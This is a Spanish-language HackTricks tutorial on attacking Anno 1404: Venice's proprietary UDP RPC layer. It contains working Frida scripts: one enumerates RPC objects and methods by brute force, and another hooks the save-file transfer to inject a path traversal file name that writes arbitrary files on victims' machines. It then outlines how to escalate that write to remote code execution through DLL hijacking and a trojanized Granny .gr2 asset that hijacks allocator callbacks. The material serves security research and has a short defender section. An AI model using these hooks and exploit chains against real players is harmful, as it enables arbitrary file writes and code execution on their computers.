Enumeración RPC UDP personalizada y abuso de transferencia de archivos

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Mapeo de objetos RPC propietarios con Frida

Los títulos multijugador antiguos a menudo incorporan pilas RPC hechas en casa sobre UDP. En Anno 1404: Venice esto se implementa dentro de NetComEngine3.dll a través del despachador RMC_CallMessage, que analiza 5 campos de cada datagrama:

FieldPropósito
IDVerbo RPC (16-bit)
FlagsModificadores de transporte (reliability, ordering)
SourceID de objeto del llamador
TargetObjectInstancia de objeto remoto
MethodÍndice de método dentro de la clase objetivo

Dos funciones auxiliares – ClassToMethodName() y TargetName() – traducen IDs en bruto a cadenas legibles para logging. Mediante brute-forcing IDs de objeto de 24‑bit e IDs de método de 16‑bit y llamando a esas funciones auxiliares podemos enumerar toda la superficie accesible de forma remota sin capturas de tráfico ni symbol leaks.

Enumerador de superficie de Frida (recortado) ```javascript 'use strict';

const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);

function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }

for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }

</details>

Ejecutar `frida -l explore-surface.js Addon.exe` emitió el mapa RPC completo, incluyendo el objeto `Player` (`0x7400000`) y sus verbos de transferencia de archivos `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData` y `OnCancelSendFile`. El mismo flujo de trabajo se aplica a cualquier protocolo binario que exponga auxiliares de reflexión internos: intercepta el dispatcher, fuerza bruta los IDs y registra lo que el engine ya sabe sobre cada método invocable.

### Tips

- Usa los propios buffers de logging del engine (`WString::Format` en este caso) para evitar reimplementar codificaciones de cadena no documentadas.
- Volcar `Flags` para identificar características de confiabilidad (ACK, resend requests) antes de intentar fuzzing; los stacks UDP personalizados suelen descartar paquetes malformados silenciosamente.
- Almacena el mapa enumerado – sirve como corpus para fuzzing y deja claro qué objetos manipulan el sistema de archivos, el estado del mundo o el scripting en el juego.

## Subvirtiendo RPCs de transferencia de archivos

La sincronización de guardados multijugador usaba un handshake de dos paquetes:

1. `OnSendFileInit` — transporta el nombre de archivo UTF‑16 que el cliente debe usar al guardar la payload entrante.
2. `OnSendFileData` — transmite contenidos de archivo en bruto en trozos de tamaño fijo.

Debido a que el servidor serializa el nombre de archivo mediante `ByteStreamWriteString()` justo antes de enviar, un hook de Frida puede intercambiar el puntero por una traversal payload manteniendo intactos los tamaños de paquete.

<details>
<summary>Intercambiador de nombres de archivo</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');

Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});

Los clientes víctimas no realizaron ninguna sanitización y escribieron la partida recibida en cualquier ruta que suministrara el host malicioso, p. ej. depositándola en C:\User\user en lugar del árbol previsto ...\Savegames\MPShare. En instalaciones de Windows de Anno 1404 el directorio del juego es world-writable, por lo que el traversal se convierte instantáneamente en un primitivo de escritura de archivos arbitrarios:

  • Drop DLLs para el clásico search-order hijacking en el siguiente lanzamiento, o
  • Overwrite asset archives (RDA files) de modo que modelos, texturas o scripts weaponized se carguen en vivo durante la misma sesión.

Defender / atacar otros objetivos

  • Busca RPC verbs llamados SendFile, Upload, ShareSave, etc., y luego intercepta el helper de serialización responsable de los nombres de archivo o directorios de destino.
  • Incluso si los nombres de archivo pasan un control de longitud, muchas stacks olvidan canonicalizar ..\ o secuencias mixtas / vs \; prueba todas las combinaciones de separadores.
  • Cuando el receptor almacena archivos bajo la ruta de instalación del juego, verifica los ACLs con icacls para confirmar si un usuario sin privilegios puede depositar código allí.

Convertir path traversal en ejecución en vivo de assets

Una vez que puedes subir bytes arbitrarios, reemplaza cualquier asset que se cargue con frecuencia:

  1. Unpack the archive. RDA archives son contenedores basados en DEFLATE cuya metadata está opcionalmente XOR-obfuscated con flujos seedados por srand(0xA2C2A). Herramientas como RDAExplorer vuelven a re-pack archives tras las ediciones.
  2. Inject a malicious .gr2. El archivo Granny 3D troyanizado contiene el exploit de relocación que sobrescribe SectionContentArray y, mediante una secuencia de relocación en dos etapas, obtiene una escritura arbitraria de 4 bytes dentro de granny2.dll.
  3. Hijack allocator callbacks. Con ASLR disabled y DEP off, reemplazar los punteros de función malloc/free en granny2.dll redirige la siguiente asignación a tu shellcode, dando RCE inmediato sin esperar a que la víctima reinicie el juego.

Este patrón se generaliza a cualquier título que streamee assets estructurados desde archivos binarios: combina path traversal a nivel RPC para la entrega y el procesamiento inseguro de relocaciones para ejecución de código.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks